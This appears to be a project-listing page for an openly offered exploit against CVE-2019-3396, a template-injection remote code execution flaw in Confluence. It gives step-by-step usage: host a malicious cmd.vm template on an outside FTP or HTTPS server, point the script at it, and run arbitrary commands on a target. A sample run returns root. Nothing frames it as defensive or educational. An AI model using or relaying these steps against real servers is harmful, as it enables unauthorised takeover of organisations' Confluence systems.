Yt1g3r / Cve 2019 3396_exp
CVE-2019-3396 confluence SSTI RCE
Stars: ✭ 159
Programming Languages
python
139335 projects - #7 most used programming language
CVE-2019-3396_EXP
CVE-2019-3396 confluence SSTI RCE
1、put the cmd.vm on your website (must use ftp or https ,http doesn't work )
2、modify RCE_exp.py ，change the filename = 'ftp://1.1.1.1/cmd.vm' （python -m pyftpdlib -p 21）
3、python REC_exp.py http://test.wiki_test.cc:8080 "whoami"
$ python REC_exp.py http://test.wiki_test.cc:8080 "id"
uid=0(root) gid=0(root) groups=0(root)
Note that the project description data, including the texts, logos, images, and/or trademarks,
for each open source project belongs to its rightful owner.
If you wish to add or remove any projects, please contact us at [email protected].